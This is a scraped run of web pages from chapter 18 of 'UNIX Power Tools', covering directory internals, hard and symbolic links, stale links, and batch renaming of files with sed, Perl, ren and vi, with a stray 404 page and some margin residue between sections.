A directory really is just another file, and really isn't different from any other data file. If you want to prove this, try the command od -c .; on many UNIX systems, it dumps the current directory to the screen in raw form. It will certainly look ugly (it's not a text file - it has lots of binary characters). But, if your system allows it, od -c (25.7) should let you see the names of the files that are in the current directory [and, probably, some names of files that have been deleted! Sorry, they're only the old directory entries; you can't get the files back (23.2). -JP]. If od -c doesn't work, use ls -if instead.

So a directory is really just a list of files. It contains filenames and inode numbers (1.22). That is, we can visualize a directory like this:

The file named    .          is inode 34346
The file named    ..         is inode 987
The file named    mr.ed      is inode 10674
The file named    joe.txt    is inode 8767
The file named    grok       is inode 67871
The file named    otherdir   is inode 2345

So when you give a filename like grok, the kernel looks up grok in the current directory and finds out that this file has inode 67871; it looks up this inode to find out who owns the file, where the data blocks are, and so on.

What's more, some of these "files" may be directories in their own right. In particular, that's true of the first two entries: . and ... These entries are in every directory. Single . just refers to the current directory, while double .. refers to the "parent" of the current directory (i.e., the directory that "contains" the current directory). The file otherdir is yet another directory that happens to be "within" the current directory. But there's no way you can tell that from its directory entry-UNIX doesn't know it's different until it looks up its inode.

Now that you know what a directory is, let's think about some basic operations. What does it mean to move, or rename, a file? If the file is staying in the same directory, the mv command just changes the file's name in the directory; it doesn't touch the data at all.

Moving a file into another directory takes a little more work, but not much. A command like mv dir1/foo dir2/foo means "delete foo's entry in dir1, and create a new entry for foo in dir2." Again, UNIX doesn't have to touch the data blocks or the inode at all.

The only time you actually need to copy data is if you're moving a file into another filesystem. In that case, you have to copy the file to the new filesystem; delete its old directory entry; return the file's data blocks to the "free list," which means that they can be re-used; and so on. It's a fairly complicated operation, but (still) relatively rare. (On some old versions of UNIX, mv won't let you move files between filesystems.)

Now let's see if you've understood. How does UNIX find out the name of the current directory? In our "current directory," there's an entry for ., which tells us that the current directory has inode 34346. Is the directory's name part of the inode? Sorry - it isn't. The directory's name is included in the parent directory. The parent directory is .., which is inode 987. So UNIX looks up inode 987, finds out where the data is, and starts reading every entry in the parent directory. Sooner or later, it will find one that corresponds to inode 34346. When it does that, it knows that it has found the directory entry for the current directory, and can read its name. Article 14.4 has a diagram and more explanation.

Complicated? Yes, but if you understand this, you have a pretty good idea of how UNIX directories work.

- ML

Previous: 18.1 What's So Complicated About Copying Files? | UNIX Power Tools | Next: 18.3 Files with Two or More Names
18.1 What's So Complicated About Copying Files? | Book Index | 18.3 Files with Two or More Names
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.3 Files with Two or More Names

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.2 What's Really in a Directory Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.4 More About Links

18.3 Files with Two or More Names

We talk about hard links and symbolic links in a number of places (18.4, 18.5, 24.4). However, we've never really said why you'd want a file with several names. When I was learning UNIX, this was a big stumbling block. It was easy to understand what a link would do, but why would you want one?

With time, I acquired wisdom. There are many situations that links (and only links) are able to handle. Once you've seen a few of the problems that a link can solve, you'll start seeing even more situations in which they are appropriate.

Consider a company phone list on a system that is shared by several users. Every user might want a copy of the phone list in his or her home directory. However, you wouldn't want to give each user a different phone list. In addition to wasting disk space, it would be a pain to modify all of the individual lists whenever you made a change. Giving each user a "link" to a master phone list is one way to solve the problem.

Similarly, assume that you use several different systems that share files via NFS (1.33). Eventually, you get tired of editing five or six different .login and .cshrc (2.2) files whenever you decide to add a new alias or change some element in your startup file; you'd like to have the exact same file appear in each of your home directories. You might also want to give several systems access to the same master database files.

How about this: you have a program or script that performs several related functions. Why not perform them all with the same executable? All the script or program needs to do is check the name it's called by, and act accordingly. Article 45.13 explains how this works; articles 8.8, 16.7, and 22.10 show scripts that act differently depending on their (current) name.

Yet another example. Assume that you have two versions of a file: a current version, which changes from time to time, and one or more older versions. One good convention would be to name the files data.date, where date shows when the file was created. For example, you might have the files data.jul1, data.jul2, data.jul5, and so on. However, when you access these files, you don't necessarily want to figure out the date - not unless you have a better chronological sense than I do. To make it easier on yourself, create a link (either symbolic or hard) named data.cur that always refers to your most recent file. The following script runs the program output, puts the data into a dated file, and resets data.cur:

+%h%d

#!/bin/sh
curfile=data.`date +%h%d`
linkname=data.cur
output > $curfile
rm -f $linkname
ln -s $curfile $linkname

Here's an analogous problem. When writing technical manuals at one company, I had two classes of readers: some insisted on referring to the manuals by name, and the others by (believe it or not) part number. Rather than looking up part numbers all the time, I created a set of links so that I could look up a manual online either via its name or via its part number. For example, if the manual was named "Programming" and had the part number 046-56-3343, I would create the file /manuals/byname/programming. I would then create the link /manuals/bynumber/046-56-3343:

..
% cd /manuals/bynumber
% ln -s ../byname/programming 046-56-3343

Sometimes you simply want to collect an assortment of files in one directory. These files may really belong in other places, but you want to collect them for some temporary purpose: for example, to make a tape. Let's say that you want to make a tape that includes manual pages from /development/doc/man/man1, a manual from /development/doc/product, source files from /src/ccode, and a set of executables from /release/68000/execs. The shell script below creates links for all of these directories within the /tmp/tape directory, and then creates a tar (20.1) tape that can be sent to a customer or friend. Note that the tar h option tells tar to follow symbolic links and archive whatever is at the end of the link; otherwise, tar makes a copy of just the symbolic link:

/tmp

#!/bin/sh
mkdir /tmp/tape
cd /tmp/tape
rm -f man1 product ccode execs
ln -s /development/doc/man/man1
ln -s /development/doc/product
ln -s /src/ccode
ln -s /release/68000/execs
tar ch ./man1 ./product ./ccode ./execs

This really only scrapes the surface. Links provide neat solutions to many problems, including source control, filesystem layout, etc.

- ML

Previous: 18.2 What's Really in a Directory | UNIX Power Tools | Next: 18.4 More About Links
18.2 What's Really in a Directory | Book Index | 18.4 More About Links
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.4 More About Links

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.3 Files with Two or More Names Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.5 Creating and Removing Links

18.4 More About Links

UNIX provides two different kinds of links:

  • Hard links: With a hard link, two filenames (i.e., two directory entries (18.2)) point to the same inode and the same set of data blocks. All UNIX versions support hard links. They have two important limitations: a hard link can't cross a filesystem (i.e., both filenames must be in the same filesystem), and you can't create a hard link to a directory (i.e., a directory can only have one name). [1] They have two important advantages: the link and the original file are absolutely and always identical, and the extra link takes no disk space (except an occasional extra disk block in the directory file).

    [1] Actually, every directory has at least two names. See the last section of this article.

  • Symbolic links (also called soft links or symlinks): With a symbolic link, there really are two different files. One file contains the actual data; the other file just contains the name of the first file and serves as a "pointer." We call the pointer the link. The system knows that whenever it opens a link, it should read the contents of the link, and then access the file that really holds the data you want. All Berkeley UNIX systems and System V.4 support symbolic links. Symbolic links are infinitely more flexible than hard links. They can cross filesystems, or even computer systems (if you are using NFS or RFS). You can make a symbolic link to a directory. A symbolic link has its own inode and takes a small amount of disk space to store.

You obviously can't do without copies of files: copies are important whenever users need their own "private version" of some master file. But it is also important to know about links. With links, there's only one set of data and many different names that can access it. Article 18.5 shows how to make links.

18.4.1 Differences Between Hard and Symbolic Links

With a hard link, the two filenames are identical in every way. You can delete one without harming the other. The system deletes the directory entry for one filename and leaves the data blocks (which are shared) untouched. The only thing rm does to the inode is decrement its "link count," which (as the name implies) counts the number of hard links to the file. The data blocks are only deleted when the link count goes to zero - meaning that there are no more directory entries that point to this inode. Article 17.22 shows how to find the hard links to a file.

With a symbolic link, the two filenames are really not the same. Deleting the link with rm leaves the original file untouched, which is what you'd expect. But deleting or renaming the original file removes both the filename and the data. You are left with a link that doesn't point anywhere. (Article 16.28 has a script that finds unconnected symlinks.) Remember that the link itself doesn't have any data associated with it. Despite this disadvantage, you rarely see hard links on UNIX versions that support symbolic links. Symbolic links are so much more versatile that they have become omnipresent.

Let's finish by taking a look at the ls listing for a directory. This directory has a file named file with another hard link to it named hardlink. There's also a symlink to file named (are you ready?) symlink:

$ ls -lai
total 8
 140330 drwxr-xr-x   2 jerry    ora      1024 Aug 18 10:11 .
  85523 drwxr-xr-x   4 jerry    ora      1024 Aug 18 10:47 ..
 140331 -rw-r--r--   2 jerry    ora      2764 Aug 18 10:11 file
 140331 -rw-r--r--   2 jerry    ora      2764 Aug 18 10:11 hardlink
 140332 lrwxrwxrwx   1 jerry    ora         4 Aug 18 10:11 symlink -> file

You've seen the -l option (22.2) and also, probably, the -a option (16.11) for listing "dot files." The -i option lists the i-number (1.22) for each entry in the directory (18.2); see the first column. The third column has the link count: this is the number of hard links to the file.

When you compare the entries for file and hardlink, you'll see that they have a link count of 2. In this case, both links are in the same directory. Every other entry (i-number, size, owner, etc.) for file and hardlink is the same; that's because they both refer to exactly the same file, with two links (names).

A symbolic link has an l at the start of the permissions field. Its i-number isn't the same as the file it points to because a symbolic link takes a separate inode; so, it also takes disk space (which an extra hard link doesn't). The name has two parts: the name of the link (here, symlink) followed by an arrow and the name the link points to (in this case, to file). The symlink takes just 4 characters, which is exactly enough to store the pathname (file) that the link points to.

18.4.2 Links to a Directory

While we're at it, here's a section that isn't about linking to files or making symbolic links. Let's look at the first two entries in the previous sample directory in terms of links and link counts. This should help to tie the filesystem together (both literally and in your mind!).

You've seen . and .. in pathnames (1.21); you might also have read an explanation of what's in a directory (18.2). The . entry is a link to the current directory; notice that its link count is 2. Where's the other link? It's in the parent directory:

$ ls -li ..
total 2
 140330 drwxr-xr-x   2 jerry    ora      1024 Aug 18 10:11 sub
  85524 drwxr-xr-x   2 jerry    ora      1024 Aug 18 10:47 sub2

Look at the i-numbers for the entries in the parent directory. Which entry is for our current directory? The entry for sub has the i-number 140330, and so does the . listing in the current directory. So the current directory is named sub.

Now you should be able see why every directory has at least two links. One link, named ., is to the directory itself. The other link, in its parent, gives the directory its name. (Article 14.4 has a picture of this.)

Every directory has a .. entry, which is a link to its parent directory. If you look back at the listing of our current directory, you can see that the parent directory has four links. Where are they? Think for a minute. (No fair peeking ahead!)

Bzzzzzzt... time's up. When a directory has subdirectories, it will also have a hard link named .. in each subdirectory. You can see above, in the output from ls -li .., that the parent directory has two subdirectories: sub and sub2. That's two of the four links. The other two links are the . entry in the parent directory, and the entry for the parent directory (which is named test) in its parent directory:

-d

% ls -dli ../. ../../test
  85523 drwxr-xr-x   4 jerry    ora      1024 Aug 18 10:47 ../.
  85523 drwxr-xr-x   4 jerry    ora      1024 Aug 18 10:47 ../../test

As they should, all the links have the same i-number: 85523. Make sense? This concept can be a little abstract and hard to follow at first. Understanding it will help you, though - especially if you're a system administrator who has to use strong medicine like clri (23.13). For more practice, make a subdirectory and experiment in it the way we've shown in this article.

By the way, directories and their hard links . and .. are added by the mkdir(2) system call. That's the only way that normal users can create a directory (and the links to it). Article 23.18 has even more low-level details.

- JP, ML

Previous: 18.3 Files with Two or More Names | UNIX Power Tools | Next: 18.5 Creating and Removing Links
18.3 Files with Two or More Names | Book Index | 18.5 Creating and Removing Links
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.5 Creating and Removing Links

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.4 More About Links Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.6 Stale Symbolic Links

18.5 Creating and Removing Links

The ln command creates both hard and soft (symbolic) links (18.4). Only UNIX versions with symbolic links have the -s option, though:

% ln filename linkname   To create a hard link
% ln -s filename linkname   To create a symbolic link

In either case, filename must already exist. Otherwise you will get an error message. If you are using Berkeley UNIX, linkname must not exist - if it does, you will get an error. Under System V, linkname may already exist; if you are allowed to write the file, ln destroys its old contents and creates your link. If you don't have write access for linkname, ln asks whether or not it is OK to override the file's protection. For example:

% ln foo bar
ln: override protection 444 for bar? y

Typing y gives ln permission to destroy the file bar and create the link. Note that this will still fail if you don't have write access to the directory.

You are allowed to omit the linkname argument from the ln command. In this case, ln takes the last component of filename (i.e., everything after the last slash) and uses it for linkname. Of course, this assumes that filename doesn't refer to the current directory. If it does, the command will fail: the link will already exist. For example, the commands below are the same:

&..
% ln -s ../archive/file.c
% ln -s ../archive/file.c file.c

Both create a link from file.c in the current directory to ../archive/file.c.

ln also lets you create a group of links with one command, provided that all of the links are in the same directory. Here's how:

% ln file1 file2 file3 ... filen directory

This command uses the filename from each pathname (after the last slash) as each link's name. It then creates all the links within the given directory. For example, the first command below is equivalent to the next two:

% ln ../s/f1 ../s/f2 current
% ln ../s/f1 current/f1
% ln ../s/f2 current/f2

You can replace this list of files with a wildcard expression (15.2), as in:

&.
% ln -s ../newversion/*.[ch]

Note that symbolic links can get out-of-date (18.6). [Hard links can also be "broken" in some situations. For example, a text editor might rename the link textfile to textfile.bak, then create a new textfile during editing. Previous links to textfile will now give you textfile.bak. To track down this problem, find the links (17.22) to each file. -JP ]

To remove a link, either hard or symbolic, use the rm command.

- ML

Previous: 18.4 More About Links | UNIX Power Tools | Next: 18.6 Stale Symbolic Links
18.4 More About Links | Book Index | 18.6 Stale Symbolic Links
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.6 Stale Symbolic Links

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.5 Creating and Removing Links Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.7 Linking Directories

18.6 Stale Symbolic Links

Symbolic links have one problem. Like good bread, they become "stale" fairly easily. What does that mean?

Consider the following commands:

% ln -s foo bar
% rm foo

What happens when you do this? Remember that the link bar is a pointer: it doesn't have any real data of its own. Its data is the name of the file foo. After deleting foo, the link bar still exists, but it points to a nonexistent file. Commands that refer to bar will get a confusing error message:

% cat bar
cat: bar: No such file or directory

This will drive you crazy if you're not careful. An ls will show you that bar still exists. You won't understand what's going on until you realize that bar is only a pointer to a file that no longer exists. [The command ls -Ll or ls -LF will show an unconnected symbolic link. The -L option means "list the file that this link points to instead of the link itself." If the link points nowhere, ls -L will still list the link. -JP ]

There are many innocuous ways of creating invalid symbolic links. For example, you could simply mv the data file foo. Or you could move foo, bar, or both to some other part of the filesystem where the pointer wouldn't be valid anymore.

One way to avoid problems with invalid links is to use relative pathnames (1.21) when it is appropriate. For example, using relative pathnames will let you move entire directory trees around without invalidating links (providing that both the file and the link are in the same tree). Here's an example. Assume that you have the file /home/mars/john/project/datastash/input123.txt. Assume that you want to link this file to /home/mars/john/test/input.txt. You create a link by giving the command:

% cd /home/mars/john/test
% ln -s ../project/datastash/input123.txt input.txt

At some later date, you hand the project over to mary, who copies (18.16) the entire project and test data trees into her home directory. The link between input.txt and the real file, input123.txt, will still be valid. Although both files' names have changed, the relationship between the two (i.e., the relative path from one directory to the other) is still the same. Alternatively, assume that you are assigned to a different computer named jupiter and that you copy your entire home directory when you move. Again, the link remains valid: the relative path from your test directory to your datastash directory hasn't changed, even though the absolute paths of both directories are different.

On the other hand, there is certainly room for absolute pathnames (14.2). They're useful if you're more likely to move the link than the original file. Assume that you are creating a link from your working directory to a file in a master directory (let's say /corp/masterdata/input345.txt). It is much more likely that you will rearrange your working directory than that someone will move the master set of files. In this case, you would link as follows:

% ln -s /corp/masterdata/input345.txt input.txt

Now you can move the link input.txt anywhere in the filesystem: it will still be valid, provided that input345.txt never moves.

In article 16.28, we give a script for detecting stale symbolic links.

Note that hard links (18.4) never have this problem. With a hard link, there is no difference at all between the link and the original - in fact, it's unfair to call one file the link and the other the original.

- ML

Previous: 18.5 Creating and Removing Links | UNIX Power Tools | Next: 18.7 Linking Directories
18.5 Creating and Removing Links | Book Index | 18.7 Linking Directories
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.7 Linking Directories

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.6 Stale Symbolic Links Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.8 Showing the Actual Filenames for Symbolic Links

18.7 Linking Directories

One feature of symbolic links (18.4) (a.k.a. symlinks) is that unlike hard links, you can use symbolic links to link directories as well as files. Since symbolic links can span between filesystems, this can become enormously useful.

For example, sometimes administrators want to install a package in a directory tree that's different from where users and other programs expect it to be. On our site, we like to keep /usr/bin pure - that is, we like to be sure that all the programs in /usr/bin came with the operating system. That way, when we install a new OS, we know for sure that we can overwrite the entirety of /usr/bin and not lose any "local" programs. We install all local programs in /usr/local.

The X11 (1.31) package poses a problem, though. X11 programs are expected to be installed in /usr/bin/X11. But X isn't distributed as part of our OS, so we'd prefer not to put it there. Instead, we install X programs in /usr/local/X11/bin, and create a symbolic link named /usr/bin/X11. We do the same for /usr/include/X11 and /usr/lib/X11:

# ln -s /usr/local/X11/bin /usr/bin/X11
# ln -s /usr/local/X11/lib /usr/lib/X11
# ln -s /usr/local/X11/include /usr/include/X11

By using symlinks, we can have it both ways: we installed the package where we wanted to, but kept it invisible to any users or programs that expected the X programs, libraries, or include files to be in the standard directories.

Directory links can result in some unexpected behavior, however. For example, let's suppose I want to look at files in /usr/bin/X11. I can just cd to /usr/bin/X11 even though the files are really in /usr/local/X11/bin:

-F

% cd /usr/bin/X11
% ls -F
       mkfontdir*      xcalc*          xinit*          xset*
   ...

But when I do a pwd, I see that I'm really in /usr/local/X11/bin. If I didn't know about the symlink, this might be confusing for me:

% pwd
/usr/local/X11/bin

Now suppose I want to look at files in /usr/bin. Since I did a cd to /usr/bin/X11, I might think I can just go up a level. But that doesn't work:

% cd ..
% ls -F
bin/     include/     lib/
% pwd
/usr/local/X11

What happened? Remember that a symbolic link is just a pointer to another file or directory. So when I went to the /usr/bin/X11 directory, my current working directory became the directory /usr/bin/X11 points to, /usr/local/X11/bin.

lndir
 As a solution to this problem and others, the X distribution provides a program called lndir. lndir is also provided on our CD-ROM. lndir makes symlinks between directories by creating links for each individual file. It's cheesy, but it works. We can use lndir instead of ln -s:

# lndir /usr/local/X11/bin /usr/bin/X11
# ls -F /usr/bin/X11
X@       mkfontdir@      xcalc@          xinit@          xset@
   ...

- LM

Previous: 18.6 Stale Symbolic Links | UNIX Power Tools | Next: 18.8 Showing the Actual Filenames for Symbolic Links
18.6 Stale Symbolic Links | Book Index | 18.8 Showing the Actual Filenames for Symbolic Links
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.8 Showing the Actual Filenames for Symbolic Links

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.7 Linking Directories Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.9 Renaming, Copying, or Comparing a Set of Files

18.8 Showing the Actual Filenames for Symbolic Links

sl
 The sl program is a perl (37.1) script that traverses the pathnames supplied on the command line, and for each one, tells you if it had to follow any symbolic links to find the actual filename. Symbolic links to absolute pathnames start over at the left margin. Symbolic links to relative pathnames are aligned vertically with the path element they replace. For example:

$ sl /usr/lib/libXw.a

/usr/lib/libXw.a:
/usr/lib/libXw.a -> /usr/lib/X11/libXw.a
/usr/lib/X11 -> /X11/lib
/X11 -> /usr/local/X11R4
/usr/local/X11R4/lib/libXw.a

$ sl /bin/rnews

/bin -> /usr/bin
/usr/bin/rnews -> /usr/lib/news/rnews
/usr/lib/news -> ../local/lib/news
     local/lib/news/rnews -> inews
                    inews

- LW, RS

Previous: 18.7 Linking Directories | UNIX Power Tools | Next: 18.9 Renaming, Copying, or Comparing a Set of Files
18.7 Linking Directories | Book Index | 18.9 Renaming, Copying, or Comparing a Set of Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.9 Renaming, Copying, or Comparing a Set of Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.8 Showing the Actual Filenames for Symbolic Links Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.10 There's More than One Way to Do It

18.9 Renaming, Copying, or Comparing a Set of Files

If you have a group of files whose names end with .new and you want to rename them to end with .old, this won't work:

% mv *.new *.old                Wrong !

because the shell can't match *.old (1.18), and because the mv command just doesn't work that way. Here's how to do it:

-d \(..\)..\1
% ls -d *.new | sed "s/.*\)\.new$/mv '&' '\1.old'/" | sh

That outputs a series of mv commands, one per file, and pipes them to a shell. The quotes help make sure that special characters (8.19) aren't touched by the shell - this isn't always needed, but it's a good idea if you aren't sure what files you'll be renaming:

mv 'afile.new' 'afile.old'
mv 'bfile.new' 'bfile.old'
   ...

(To see the commands that will be generated rather than executing them, leave off the | sh or use sh -v (8.17).) To copy, change mv to cp. For safety, use mv -i or cp -i if your versions have the -i options (21.11).

This method works for any UNIX command that takes a pair of filenames. For instance, to compare a set of files in the current directory with the original files in the /usr/local/src directory, use diff (28.1):

% ls -d *.c *.h | sed 's@.*@diff -c & /usr/local/src/&@' | sh

- JP

Previous: 18.8 Showing the Actual Filenames for Symbolic Links | UNIX Power Tools | Next: 18.10 There's More than One Way to Do It
18.8 Showing the Actual Filenames for Symbolic Links | Book Index | 18.10 There's More than One Way to Do It
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.10 There's More than One Way to Do It

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.9 Renaming, Copying, or Comparing a Set of Files Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.11 Renaming Files with ren

18.10 There's More than One Way to Do It

[In article 18.9, Jerry Peek shows how if you really understand the shell and utilities like sed, you can easily construct custom commands to change one set of filenames to another according to some regular pattern. In article 18.11, Linda Mui explains a C program that makes the job easier - and has some built-in safeguards that prevent any renames if some of the moves could cause problems. Here, Larry Wall and Randal Schwartz present a Perl (37.1) script that gives you a different kind of power and flexibility. By the way, that's the Perl slogan: "There's more than one way to do it." -TOR ]

rename
There are many ways of renaming multiple files under UNIX. Most of these ways are kludges. They force you to use ad hoc shell variable modifiers or multiple processes. With the rename Perl script, you can rename files according to the rule specified as the first argument. The argument is simply a Perl expression that is expected to modify the $_ string in Perl [the current input line-TOR ] for at least some of the filenames specified. Thus you can rename files using the very same s/// notation you're already familiar with (34.24). If a given filename is not modified by the expression, it will not be renamed. If no filenames are given on the command line, filenames will be read via standard input.

For example, to rename all files matching *.bak to strip the extension, you might say:

% rename 's/\.bak$//' *.bak

But you're not limited to simple substitutions - you have at your disposal the full expressive power of Perl. To add those extensions back on, for instance, say this:

% rename '$_ .= ".bak"' *

or even:

% rename 's/$/.bak/' *

To translate uppercase names to lowercase, you'd use:

% rename 'tr/A-Z/a-z/' *

And how about these?

% rename 's/foo/bar/; $_ = $was if -e' *foo*

% find . -print | rename 's/readme/README/i'

% find . -print | rename 's/$/.old/ if -M $_ > 0.5'

% find . -name '*,v' -print | \
  rename 's#(.*)/#$1/RCS/#, $x{$1}++ || mkdir("$1/RCS", 0777)'

[Of course, to even understand some of these more complex incantations, you have to learn more about Perl, which is just the point... It's worth taking the time to learn. -TOR ]

- LW, RS

Previous: 18.9 Renaming, Copying, or Comparing a Set of Files | UNIX Power Tools | Next: 18.11 Renaming Files with ren
18.9 Renaming, Copying, or Comparing a Set of Files | Book Index | 18.11 Renaming Files with ren
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.11 Renaming Files with ren

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.10 There's More than One Way to Do It Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.12 Renaming a List of Files Interactively

18.11 Renaming Files with ren

The CD-ROM contains a command called ren that you can use to rename multiple files. The advantage of ren is that it can be used to rename files in a flexible fashion. For example, I have a set of PostScript files that are named ps.ch01, ps.ch02, and so on. I need these files to follow the usual convention of having the ps extension as a suffix, not a prefix - i.e. ch01.ps, ch02.ps, ch03.ps, etc. I could do this with a simple shell script, but it's much easier to just use ren.

ren
 ren recognizes the metacharacters * and ?, and uses each instance of their use in replacement patterns. The first string in the filename that matches a wildcard is taken as argument 1, or #1. The second is taken as #2, and so on. The best way to explain this is to simply show how ren can be used.

% ls
ps.ch01 ps.ch02 ps.ch03 ps.ch04 ps.ch05 ps.ch06 ps.ch07

Use the * wildcard in the search string, and then use #1 where you want that string included in the replacement string. Because * is also a shell wildcard that should be interpreted by ren and not the shell, you need to protect it within quotes (8.14). In the Bourne shell, # is also a comment character and needs to be quoted; an interactive C shell doesn't treat # as a comment but, to be consistent, we show it quoted:

% ren "ps.*" "#1.ps"

If ren completes execution silently, everything worked just fine and the files were renamed. Check by listing the directory again:

% ls
ch01.ps ch02.ps ch03.ps ch04.ps ch05.ps ch06.ps ch07.ps

ren doesn't let you overwrite existing files without warning. Suppose we had another file in the same directory called ch07.ps:

% ls
ch07.ps ps.ch01 ps.ch02 ps.ch03 ps.ch04 ps.ch05 ps.ch06 ps.ch07

Now when we try renaming the files, ren warns you about overwriting the ch07.ps file:

% ren "ps.*" "#1.ps"
ps.ch07 -> ch07.ps ; remove old ch07.ps?

This feature can be suppressed with the -d option, which says to overwrite files without prompting. Related options are -k, which says not to overwrite any files, also without prompting; and -a, which says to abort the entire procedure if any files will be overwritten. Using -a, ren aborts before any files are renamed, so you can start all over again.

ren is also smart enough to detect internal naming conflicts before it actually renames any files. For example, suppose we had both files with both ps. and eps. prefixes that we wanted renamed with .ps suffixes. If there were any conflicts, ren would tell us right away, and none of the files would be renamed:

% ls
README       ps.ch01      ps.ch03      ps.ch05      ps.ch07
eps.ch07     ps.ch02      ps.ch04      ps.ch06
% ren "*ps.*" "#2.ps"
Two or more files would have to be renamed to 'ch07.ps'.
Aborting, no renames done.

ren has the restriction that it can only be used to move files within a single directory. Although this makes it inconvenient for some applications, it also makes it more secure.

To show ren in a more complicated situation, let's take another example. Every week I write a report and then store it in a directory under the name month.day.year. After a while, I realized that because of the default sorting used by ls, the files weren't being listed in chronological order.

% ls
1.13.92         1.27.92         12.23.91        2.3.92
1.20.92         1.6.92          12.30.91

What I needed to do was to rename them year.month.day, and use leading 0s for the first nine months. This can be quickly done with two ren commands:

% ren "?.*.*" "#3.0#1.#2"
% ren "1?.*.9?" "9#3.1#1.#2"
% ls
91.12.23        92.01.13        92.01.27        92.02.3
91.12.30        92.01.20        92.01.6

The first command renames any reports for single-digit months (0-9). In the second command, I'm careful not to match any of the names of files I've already moved.

- LM

Previous: 18.10 There's More than One Way to Do It | UNIX Power Tools | Next: 18.12 Renaming a List of Files Interactively
18.10 There's More than One Way to Do It | Book Index | 18.12 Renaming a List of Files Interactively
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.12 Renaming a List of Files Interactively

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.11 Renaming Files with ren Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.13 One More Way to Do It

18.12 Renaming a List of Files Interactively

Article 18.9 shows how to rename a set of files, like changing *.new to *.old. Here's a different way, done from inside vi. This gives you a chance to review and edit the commands before you run them. Here are the steps:

&amp;amp;
$

% vi   Start vi without a filename
:r !ls *.new   Read in the list of files, one filename per line
:%s/.*/mv & &/ Make mv command lines
:%s/new$/old/   Change second filenames; ready to review
:w !sh   Run commands by writing them to a shell
:q!   Quit vi without saving

If you've made an alias (10.2) for ls that changes its output format, that can cause trouble here. If your alias gives more than a plain list of filenames in a column, use !/bin/ls instead of just !ls.

- JP

Previous: 18.11 Renaming Files with ren | UNIX Power Tools | Next: 18.13 One More Way to Do It
18.11 Renaming Files with ren | Book Index | 18.13 One More Way to Do It
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/unix/upt/ch18_13.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Chapter 18] 18.14 Relinking Multiple Symbolic Links

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.13 One More Way to Do It Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.15 Copying Directory Trees with cp -r

18.14 Relinking Multiple Symbolic Links

relink
Like the rename program in article 18.10, the relink program (a Perl script) relinks the symbolic links given according to the rule specified as the first argument. The argument is a Perl expression that is expected to modify the $_ string in Perl for at least some of the names specified. For each symbolic link named on the command line, the Perl expression will be executed on the contents of the symbolic link with that name. If a given symbolic link's contents is not modified by the expression, it will not be changed. If a name given on the command line is not a symbolic link, it will be ignored. If no names are given on the command line, names will be read via standard input.

For example, to relink all symbolic links in the current directory pointing to somewhere in X11R3 so that they point to X11R4, you might say:

$ relink 's/X11R3/X11R4/' *

To change all occurrences of links in the system from /usr/spool to /var/spool, you'd say:

-type l
$ find / -type l -print | relink 's#^/usr/spool#/var/spool#'

- LW

Previous: 18.13 One More Way to Do It | UNIX Power Tools | Next: 18.15 Copying Directory Trees with cp -r
18.13 One More Way to Do It | Book Index | 18.15 Copying Directory Trees with cp -r
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.15 Copying Directory Trees with cp -r

UNIX Power Tools

UNIX Power ToolsSearch this book
